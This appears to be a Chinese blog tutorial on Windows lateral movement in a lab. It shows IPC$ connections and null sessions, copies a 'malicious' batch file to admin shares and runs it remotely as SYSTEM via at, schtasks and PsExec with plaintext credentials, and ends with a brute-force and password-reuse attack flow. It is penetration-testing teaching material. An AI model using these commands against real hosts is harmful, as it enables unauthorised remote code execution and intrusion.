横向移动:IPC$ & at & schticks

IPC$

IPC$ (Internet Process Connection) 是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用

常见端口:139、445

IPC$ 基本用法

# IPC$ 连接
net use \\192.168.52.138\ipc$                   # 建立空连接
net use \\192.168.52.138\ipc$ "password" /user:"Administrator"  # 建立非空连接

# IPC$ 使用
net use                               # 查看本机建立的连接(本机连接其他机器)
net session                           # 查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share                             # 查看本地开启的共享
net share ipc$                        # 开启ipc$共享
net share ipc$ /del                   # 删除ipc$共享
net share admin$ /del                 # 删除admin$共享
net share c$ /del                     # 删除C盘共享
net use * /del                        # 删除所有连接

# IPC$ 连接建立之后的操作
dir \\192.168.52.138\c$                             # 列出目标文件目录
copy C:\\Users\Administrator\Desktop\whatever.exe \\192.168.52.138\c$       # 将文件复制到目标C盘下
type \\192.168.52.138\c$\result.txt     # 查看目标C盘下result.txt文件内容
net use h: \\192.168.52.138\c$              # 磁盘映射,将目标的 C 盘映射到本地的 H 盘
net use h: /del                                             # 删除磁盘映射
net use

查看已建立的连接,如果已建立且状态为OK的话那么我们后面执行就不需要密码了

image-20210920164345013

image-20210920164435438

net session

查看别的机器连接的本机器,需要 Administrator 来执行,这里可以看到 STU1 创建了 IPC$ 连接连到了本机

image-20210920163059229

如果是非 Administrator 执行之后会拒绝访问

image-20210920163149064

net share

查看本地开启的分享

image-20210920162251634

磁盘映射
net use h: \\192.168.52.138\c$  # 磁盘映射
net use h: /del                                 # 删除磁盘映射

image-20210920163802968

IPC$ 与 空连接

空连接即代表我们不需要账号密码就能建立一个 IPC$ 连接,但是空连接的权限是非常低的,基本做不了什么,从下面的例子中可看出执行一些列出目录的操作都是没有权限的,所以还是利用用户名密码登陆吧 (弱口令爆破、利用本机抓出来的密码去密码复用)

空连接创建命令

net use \\192.168.52.141\ipc$
net use \\192.168.52.141\ipc$ /u:"" ""
net use \\192.168.52.141 /u:"" ""

image-20210920155546467

可以看到成功创建了空连接

image-20210920155752738

但是空连接权限往往比较低,可以看到这里通过 shell dir 是拒绝访问的

image-20210920155844667

ipc$与默认共享

默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

常见错误代码

错误号5:拒绝访问
错误号51:Windows无法找到网络路径,及网络中存在问题
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
错误号1326:未知的用户名或错误的密码
错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
错误号2242:此用户的密码已经过期。

at & schtasks 使用

单依靠 IPC$ 是无法完成横向的,所以我们需要借助 at 和 schtasks 这两个计划任务命令

ps: Windows Server 2012 以后的版本没有at命令,只有schtasks命令

at

利用过程如下:

# 执行命令到 result.txt
net time \\192.168.52.141                                                                           # 查看时间
at \\192.168.52.141 10:30 cmd.exe /c "whoami > c:\result.txt"  # 结果输出到 result 下
type \\192.168.52.141\c$\result.txt                                                     # 查看执行结果
at \\192.168.52.141 1 /delete                                                                   # 删除计划任务

copy hack.bat \\192.168.52.141\c$\Windows\Temp                              # 上传 bat 脚本
net time \\192.168.52.141                                                                           # 查看时间
at \\192.168.52.138 19:48 c:\Windows\Temp\hack.bat                      # 创建定时任务
at \\192.168.1.5                                                                # 查看任务列表

通过 at 创建计划任务将需要执行的命令添加到 result.txt

image-20210919103423146

计划任务执行之后会将命令执行的结果写到 c:\ 下的 result.txt 文件中

image-20210919104212431

执行之后将计划任务进行删除 ,这里的 1 为创建时的作业 ID

image-20210919104558016

schtasks

copy C:\Users\Administrator\Desktop\hack.bat \\192.168.52.138\c$\Windows\Temp
schtasks /create /tn hack /tr C:\Windows\Temp\hack.bat /sc ONSTART /s 192.168.52.138 /ru "system" /u administrator /p Abc123456!
schtasks /run /tn hackk /s 192.168.52.138
type \\192.168.52.138\c$\Windows\Temp\result.txt
schtasks /delete /s 192.168.52.138 /u administrator /p Abc123456! /tn hackk /f

首先利用 ipc 将我们的恶意 bat 传上去

image-20210919143651747

然后通过 Schtasks 来创建计划任务

image-20210919144916430

通过命令直接运行计划任务

image-20210919145213773

成功执行bat并将命令写到 txt 中

image-20210919145034654

最后删除计划任务

image-20210920195538716

PsExec

利用 PsExec 来进行命令执行

PsExec.exe \\192.168.52.138 cmd -u Administrator -p Abc123456!

image-20210920180734695

我们也可以利用 cs 中的 psexec 来实现 cs 上线,smb Beacon

image-20210919095240878

image-20210919155808172

攻击流程

1.利用超级弱口令等扫描器扫描爆破指定端口 or 抓去密码之后进行密码复用

2.拷贝需要执行的脚本到目标机器

3.创建计划任务 (at、schtasks) 进行定时执行

4.删除 IPC 链接

参考链接

http://t3ngyu.leanote.com/post/LM-AT-SCHTASKS

https://cloud.tencent.com/developer/article/1480930

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇